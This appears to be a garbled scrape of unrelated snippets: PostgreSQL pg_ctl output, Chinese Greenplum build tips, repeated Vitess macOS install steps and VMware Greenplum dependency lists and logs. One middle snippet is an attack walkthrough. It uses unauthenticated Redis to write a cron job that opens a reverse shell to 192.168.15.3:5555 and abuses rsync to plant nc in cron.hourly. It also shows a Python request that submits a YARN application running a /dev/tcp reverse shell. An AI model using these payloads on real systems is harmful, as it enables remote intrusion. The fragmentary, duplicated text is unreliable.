3)服务器日志（PostgreSQL server error log） 2018年PostgreSQL中国技术大会 微信号：laohouzi999 服务器日志（PostgreSQL server error log） -bash-4.1$ locate pg_ctl /usr/pgsql-10/bin/pg_ctl /usr/pgsql-10/share/locale/cs/LC_MESSAGES/pg_ctl-10.mo ~]# su - postgres -bash-4.1$ /usr/pgsql-11/bin/pg_ctl status pg_ctl: server is running (PID: 3642) /usr/pgsql-11/bin/postgres "-D" "/var/lib/pgsql/11/data" 2018年PostgreSQL中国技术大会 -bash-4.1$ cd /var/lib/pgsql/11/data /var/lib/pgsql/11/data -bash-4.1$ ll total 128 drwx------ 5 postgres postgres 4096 Dec 8 11:16 base -rw------- 1 postgres postgres 30 Dec 8 11:16 current_logfiles drwx------ 2 postgres postgres 4096 Dec

[-j4] $ make install 在苹果系统上初始化Greenplum单节点集群时，需要做些准备工作： ● 添加​export PGHOST=localhost​至​~/.bash_profile ● 将本机的​hostname​与​127.0.0.1​的map写到/etc/hosts中。例如 127.0.0.1 yydzero yydzero.local mirrorless -b 20 -C 18 -z 0"​ start 有时候单独执行各种命令没有问题，但是使用 SSH 执行时报错。 这通常是由于 ssh 改变了环境变量造成的，查看 .bash_profile, .bashrc, 发现 .bashrc 设 置了不同的默认 PGHOST，删除这个配置后就可以了。 2.2.6 不能连接到server：找不到domain socket 2.2.8 小技巧 Greenplum使用 Bash 和 Python 脚本初始化集群和管理集群。可以通过在合适的地方设置日志或 者调试信息可以帮助分析某些难以解决的问题。 ● 集群初始化工具 gpinitsystem 是Bash脚本工具，有些时候它的报错信息很不清楚。这个 时候可以 ○ 使用 -D 选项 ○ gp_bash_functions.sh 是内部一个被频繁调用执行系统命令的函数，可以通过

echo 'export PATH="/usr/local/opt/mysql@5.7/bin:$PATH"' >> ~/.bash_profile echo 'export PATH="/usr/local/opt/go@1.13/bin:$PATH"' >> ~/.bash_profile Do not setup MySQL or etcd to restart at login. Build vitess Set environment variables that Vitess will require. It is recommended to put these in your ~/.bash_profile file: # Vitess binaries export PATH=~/vitess/bin:${PATH} Build Vitess: make build 20 Install vtctlclient locally: If you are familiar with Go development, the easiest way to do this is: bash go get vitess.io/vitess/go/cmd/vtctlclient If not, you can also download the latest Vitess release

echo 'export PATH="/usr/local/opt/mysql@5.7/bin:$PATH"' >> ~/.bash_profile echo 'export PATH="/usr/local/opt/go@1.13/bin:$PATH"' >> ~/.bash_profile Do not install etcd via brew otherwise it will not be vitess Set environment variables that Vitess will require. It is recommended to put these in your ~/.bash_profile file: # Vitess binaries export PATH=~/vitess/bin:${PATH} Build Vitess: make build Testing Install vtctlclient locally: If you are familiar with Go development, the easiest way to do this is: bash go get vitess.io/vitess/go/cmd/vtctlclient If not, you can also download the latest Vitess release

-lvnp 5555 redis-cli.exe -h 192.168.18.138 config set dir /var/spool/cron set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.15.3/5555 0>&1\n\n\n" config set dbfilename root save 反弹shell成功！ nmap检测 run-parts --report /etc/cron.hourly 表示每小时的第17分钟执行run-parts --report /etc/cron.hourly 反弹成功。 防御手段 # 写入bash并赋权 vim nc chmod 777 # 将文件上传至/etc/cron.hourly rsync -av nc rsync://172.16.2.250:873/src/etc/cron 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost, }, }, 'application-type': 'YARN', } requests

echo 'export PATH="/usr/local/opt/mysql@5.7/bin:$PATH"' >> ~/.bash_profile echo 'export PATH="/usr/local/opt/go@1.15/bin:$PATH"' >> ~/.bash_profile Do not install etcd via brew otherwise it will not be vitess Set environment variables that Vitess will require. It is recommended to put these in your ~/.bash_profile file: # Vitess binaries export PATH=~/vitess/bin:${PATH} Build Vitess: make build Testing Install vtctlclient locally: If you are familiar with Go development, the easiest way to do this is: bash go get vitess.io/vitess/go/cmd/vtctlclient If not, you can also download the latest Vitess release

echo 'export PATH="/usr/local/opt/mysql@5.7/bin:$PATH"' >> ~/.bash_profile echo 'export PATH="/usr/local/opt/go@1.15/bin:$PATH"' >> ~/.bash_profile Do not install etcd via brew otherwise it will not be vitess Set environment variables that Vitess will require. It is recommended to put these in your ~/.bash_profile file: # Vitess binaries export PATH=~/vitess/bin:${PATH} Build Vitess: make build Testing Install vtctlclient locally: If you are familiar with Go development, the easiest way to do this is: bash go get vitess.io/vitess/go/cmd/vtctlclient If not, you can also download the latest Vitess release

with Greenplum Database operations. VMware Greenplum 6 Documentation VMware, Inc 256 apr-util bash bzip2 curl krb5 libcurl libevent libxml2 libyaml zlib openldap openssh-client openssl dependencies when you install Greenplum Database with the Debian package installer: libapr1 libaprutil1 bash bzip2 krb5-multidev libcurl3-gnutls VMware Greenplum 6 Documentation VMware, Inc 257 libcurl4 message: Dec 02 20:30:32 mdw bash[2228]: 2021-12-02 20:30:32 Starting the gpcc agents and webse VMware Greenplum 6 Documentation VMware, Inc 350 rver... Dec 02 20:30:35 mdw bash[2228]: 2021-12-02 20:30:35

installed automatically as dependencies when you install the Greenplum RPM package): apr apr-util bash bzip2 curl krb5 libcurl libevent libxml2 libyaml zlib openldap openssh-client openssl dependencies when you install Greenplum Database with the Debian package installer: libapr1 libaprutil1 bash bzip2 krb5-multidev libcurl3-gnutls libcurl4 libevent-2.1-6 libxml2 libyaml-0-2 zlib1g libldap-2 Dec 02 20:30:32 mdw bash[2228]: 2021-12-02 20:30:32 Starting the gpcc agents and webse VMware Tanzu Greenplum 6 Documentation VMware, Inc 340 rver... Dec 02 20:30:35 mdw bash[2228]: 2021-12-02 20:30:35

installed automatically as dependencies when you install the Greenplum RPM package): apr apr-util bash bzip2 curl krb5 libcurl libevent libxml2 libyaml zlib openldap openssh-client openssl dependencies when you install Greenplum Database with the Debian package installer: libapr1 libaprutil1 bash bzip2 krb5-multidev libcurl3-gnutls libcurl4 libevent-2.1-6 libxml2 libyaml-0-2 zlib1g libldap-2 Documentation VMware, Inc. 336 Dec 02 20:30:32 mdw bash[2228]: 2021-12-02 20:30:32 Starting the gpcc agents and webse rver... Dec 02 20:30:35 mdw bash[2228]: 2021-12-02 20:30:35 Agent successfully started